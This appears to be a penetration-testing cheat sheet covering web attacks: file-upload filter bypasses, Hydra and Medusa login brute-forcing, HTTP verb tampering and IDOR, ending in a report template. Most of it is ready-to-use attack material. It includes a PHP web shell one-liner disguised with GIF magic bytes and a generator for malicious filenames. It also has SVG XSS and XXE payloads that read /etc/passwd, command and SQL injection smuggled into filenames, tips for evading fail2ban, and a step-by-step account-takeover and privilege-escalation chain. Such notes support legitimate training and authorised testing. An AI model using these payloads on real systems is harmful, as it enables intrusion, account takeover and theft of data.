βββ Apache executes .php anywhere in name β shell.php.jpg
βββ PHP < 5.5 β null byte: shell.php%00.jpg
βββ Character injection β bash-generated permutations β Intruder
Content-Type validation?
βββ Modify inner boundary header: Content-Type: image/jpeg
Magic bytes validation?
βββ Prepend GIF8 to the PHP shell
All of the above?
βββ Combine: GIF8 magic bytes + image/jpeg Content-Type + .php.jpg double extensionExtension Bypasses
.phtml .php5 .php7 .php8 .phar .phps # blacklist bypasses to try manually
shell.jpg.php # double extension β flawed regex with no $ anchor
shell.php.jpg # reverse double extension β Apache runs .php anywhere in the name
shell.php%00.jpg # null byte (PHP < 5.5)
shell.pHp / shell.PhP # case variation (case-sensitive blacklist)Intruder fuzzing: highlight only the extension shell.Β§phpΒ§ β load web-extensions.txt β uncheck βURL-encode these charactersβ (dots %2e break the test) β sort by Length β a different length = bypass.
Content-Type & Magic Bytes Bypass
# MIME spoof: in Burp, change the inner multipart boundary header to Content-Type: image/jpeg (keep .php)
# Magic bytes: prepend a GIF header so mime_content_type() sees an image
echo "GIF8" > shell.php && echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.php
file shell.php # verify: "GIF image data" (the GIF8 garbage at output start is expected)Whitelist Bypass β Filename Permutations
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '...' ':'; do
for ext in '.php' '.php3' '.php5' '.phtml' '.phar'; do
echo "shell$char$ext.jpg"
echo "shell$ext$char.jpg"
echo "shell.jpg$char$ext"
echo "shell.jpg$ext$char"
done
done > wordlist.txtOther Upload Vectors (no execution path)
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg # stored XSS via image metadata<!-- SVG -> Stored XSS -->
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin);</script></svg>
<!-- SVG -> XXE LFI -->
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>../../../etc/passwd # directory traversal in filename (overwrite on upload)
file$(whoami).jpg # command injection in filename
file';select+sleep(5);--.jpg # SQLi in filenameKey Pitfalls
| Issue | Fix |
|---|---|
| File uploaded but executes as plaintext | Directory has exec disabled β need LFI to include it |
| Intruder 429 errors | Resource Pool β lower concurrent requests to 1 |
| GIF8 garbage in output | Expected β PHP outputs it as text; the rest is your command output |
.php%00.jpg null byte fails | PHP 5.5+ β use filter wrappers or magic bytes instead |
| Windows target blacklist | Blacklist often case-sensitive β try shell.pHp, shell.PhP |
Login Brute-Force
Brute web logins and service credentials. Think dumber first: test manually to capture the exact failure string β a wrong one makes Hydra report everything as valid or nothing at all (curl -d 'user=test&pass=test' http://[TARGET]/login and note the error text). Confirm the form method/params in Burp, and check for lockout/CAPTCHA before firing.
Hydra β Flag Reference
| Flag | Meaning |
|---|---|
-L / -P | File path for userlist / passlist |
-l / -p | Single username / password string |
-f | Stop on first success (always use on CPTS) |
-t | Threads (use -t 4 if connections drop) |
-s | Non-standard port |
-V | Verbose β print every attempt |
-M | Multi-host target file |
-x min:max:charset | On-the-fly password generation |
Hydra β Protocols
hydra -L users.txt -P pass.txt [TARGET] ssh # SSH
hydra -L users.txt -P pass.txt -s [PORT] -V [TARGET] ftp # FTP on non-standard port (-V verbose)
hydra -l [USER] -p [PASS] -M targets.txt ssh # multi-host, single credential pair
hydra -l admin -P pass.txt [TARGET] http-get / -s 81 # Basic HTTP Auth (browser pop-up)
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 [TARGET] rdp # RDP on-the-fly genHydra β Web POST Form
"[URI]:[param1]=^USER^&[param2]=^PASS^:F=[failure_string]"
^USER^ / ^PASS^ = injection placeholders
F=Invalid credentials = failure-string match
S=302 / S=Welcome = success condition (redirect code or text)hydra -L users.txt -P passes.txt -f 10.10.10.5 -s 80 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"Basic HTTP Auth: a native browser pop-up (not an HTML form) β use http-get. Capture the Authorization: Basic header in Burp β base64 -d reveals user:pass.
Medusa (multi-host parallel)
medusa -h [TARGET] -U users.txt -P pass.txt -M ssh # SSH
medusa -h [TARGET] -n [PORT] -U users.txt -P pass.txt -M ssh -t 3 # non-standard port (-n, NOT -s)
medusa -H targets.txt -U users.txt -P pass.txt -M http -m GET # multi-host HTTP Basic Auth
medusa -h [TARGET] -U users.txt -e ns -M ssh # quick check: null password (n) + user=pass (s)| Feature | Hydra | Medusa |
|---|---|---|
| Port flag | -s | -n |
| Module flag | positional (ssh at end) | -M ssh (required) |
| Stop on success | -f | -f (host) / -F (all) |
| Verbosity | -V | -v 4 to -v 6 |
Custom Wordlists
./username-anarchy Jane Smith > usernames.txt # corporate username permutations (jsmith, jane.s, smithj, ...)
cupp -i # OSINT password profiler (name/dob/pet/company/keywords; y to leetspeak)
# Policy filter β min 6, upper, lower, digit, 2 special chars:
grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > passwords.txtOSINT sources for CUPP: LinkedIn, Facebook, βAbout Usβ pages, PDFs/DOCX from enumeration.
Key Pitfalls
| Issue | Fix |
|---|---|
| Everything reported valid / nothing valid | Wrong failure string β test manually; grep the response body for a reliable partial match |
10.10.10.5:8080 fails | Never concatenate IP:port β Hydra DNS-resolves the whole string; use -s 8080 (Hydra) / -n 8080 (Medusa) |
| Medusa port ignored | Medusa uses -n, NOT -s β the #1 gotcha vs Hydra |
| http-post-form misbehaves | Finicky β no extra spaces around the colons in the format string |
| CSRF token required | Hydra static strings fail β use Burp Intruder with a macro, or ffuf with CSRF extraction |
| Service crashing / fail2ban ban | Reduce threads -t 4 or -t 1; add delay -W 3 (Hydra); change source IP |
HTTP Verb Tampering
Verb tampering: the app restricts GET/POST but other methods (HEAD/PUT/DELETE/OPTIONS) slip past server ACLs or input filters. Confirm the allowed methods in Burp first.
Two Root Causes
| Root Cause | Example | Bypass |
|---|---|---|
| Insecure server config | <Limit GET POST> locks only those verbs | Send HEAD, OPTIONS, PUT, or any other verb |
| Insecure coding | filter checks $_GET but query uses $_REQUEST | Switch GETβPOST β filter sees empty $_GET, $_REQUEST gets the body |
Enumerate & Bypass
curl -i -X OPTIONS http://[TARGET]/admin/ # list allowed methods (Allow header)
curl -i -X HEAD http://[TARGET]/admin/reset.php # auth bypass β runs backend logic, returns no body
curl -i -X HACK http://[TARGET]/page.php # fabricated verb β bypasses GET/POST-only filters
curl -i -X PUT -d @shell.php http://[TARGET]/upload/ # arbitrary file write if PUT allowed
curl -i -X POST -d "code=1' OR 1=1--" http://[TARGET]/page.php # POST bypasses GET-only sanitization
# Burp: right-click request β Change Request Method (toggles GETβPOST)HEAD returns
200 OKwith no body on success β verify via app side-effects (file deleted, password reset), not response content.
Auth-bypass flow (server misconfig):
1. Protected URL β 401/403
2. OPTIONS β note the Allow header
3. Burp Repeater β Change Request Method to HEAD (then PUT/DELETE/PATCH, then fabricated HACK/TEST)
4. Forward β check app state (backend still executed)Filter-evasion flow (insecure coding):
if (preg_match($pattern, $_GET["code"])) { // filter checks GET
$query = "... WHERE code = '" . $_REQUEST["code"] . "'"; // query executes REQUEST
}GET payload blocked β Burp Change Method β POST β $_GET["code"] is empty (passes filter), $_REQUEST["code"] = POST body (executes).
API Verb Tampering
GET /api/v1/user/1 read-only? Try PUT /api/v1/user/1 (overwrite record) or DELETE /api/v1/user/1 (delete account) β APIs frequently forget to restrict non-GET methods. TRACE enabled = XST (a reporting finding).
IDOR
IDOR: predictable object references (id=, uid=) let you reach other usersβ data or actions. Confirm object references in Burp first.
Impact Matrix
| Type | Action | Example |
|---|---|---|
| Horizontal | Read another userβs data | Download their invoice |
| Horizontal | Modify another userβs data | Change their email |
| Vertical | Admin function as a standard user | Grant yourself admin role |
| Blind | Modify with no response confirmation | Change password β verify by logging in as victim |
Identify
URL params: ?uid=1, ?file_id=123, ?account=5551234
POST body: {"user_id": 1, "document": "contract_1.pdf"}
API endpoints: /api/profile/1, /api/data/salaries/users/1
HTTP headers: Cookie: role=employee (trusting the cookie = IDOR waiting)
Hidden JS: inspect .js files for AJAX endpoints not rendered in the UIExploit & Enumerate
curl -s -b "session=[COOKIE]" "http://[TARGET]/download.php?file_id=124" # horizontal: increment ID for another user's file
curl -s -X PUT -H "Cookie: role=employee" -H "Content-Type: application/json" -d '{...}' "http://[TARGET]/profile/api.php/profile/2" # overwrite another user's profile
ffuf -w ids.txt:FUZZ -u "http://[TARGET]/api/data?uid=FUZZ" -b "session=[COOKIE]" -fs [SIZE] # mass IDOR fuzzEncoded Reference Bypass
# JS reveals e.g. CryptoJS.MD5(btoa(uid)).toString() β replicate it (echo -n, base64 -w 0, strip trailing ' -'):
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -' # β the server's hashed reference for uid=1
for i in {1..10}; do hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); curl -sOJ -X POST -d "contract=$hash" http://[TARGET]/download.php; doneTraps: echo (not echo -n) appends a newline β wrong hash; base64 without -w 0 wraps lines β wrong hash.
API IDOR Chain (Disclosure β PrivEsc)
1. GET /api/profile/2 β leak uuid + role string
2. PUT /api/profile/2 (victim uuid) β take over (change email β trigger password reset)
3. GET /api/profile/1..100 β find a user with role "web_admin"
4. PUT /api/profile/[YOUR_UID] role=web_admin β escalate self
5. Set Cookie: role=web_admin β POST admin-only actionsTraps: the URL id and the JSON-body uid must match; a backend role change does not auto-update the browser cookie β set Cookie: role=web_admin manually.
Two-Account Method
Register User1 + User2 β capture User1βs sensitive API request β replay it with User2βs session token β success means the backend isnβt validating the session against the data.
Common App Defaults
For product-specific defaults (ports, panels, default credentials, version CVEs) and attacks against named applications β WordPress, Tomcat, Jenkins, Splunk, ColdFusion, GitLab, etc. β see Master_Common_Apps_Commands. This sheet covers vulnerability classes; that one covers specific products.
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Web attack not working | Wrong tech stack assumption | Re-fingerprint: whatweb -a 3 http://[TARGET]; tech stack determines which attacks apply |
| ffuf wordlist not finding hidden paths | Wrong wordlist | Match wordlist to tech: raft-large-directories.txt for general; spring-boot.txt for Java apps |
| Burp active scanner flooding logs | Too aggressive | Use active scanner on specific endpoints only; start with passive scanner |
| SQLMap not detecting injection | Wrong parameter | Use --forms flag to auto-test all form parameters; or specify -p [PARAM] manually |
| XSS payload not reflecting | WAF encoding output | Check source view; if encoded in HTML but not script context, find a JS context reflection instead |
π Reporting Trigger
Finding Title: Web Application Assessment β Multiple Vulnerabilities Identified Impact: Systematic web vulnerability assessment identifies injection flaws, authentication weaknesses, and business logic vulnerabilities across the web application, demonstrating that multiple attack chains exist from unauthenticated access to server compromise. Root Cause: Web application developed without security-focused code review. No DAST or SAST in development pipeline. Security testing conducted only at launch, not continuously. Recommendation: Integrate DAST scanning in CI/CD pipeline. Conduct manual penetration testing quarterly. Implement WAF as defense-in-depth. Establish a vulnerability management process to remediate findings within defined SLAs.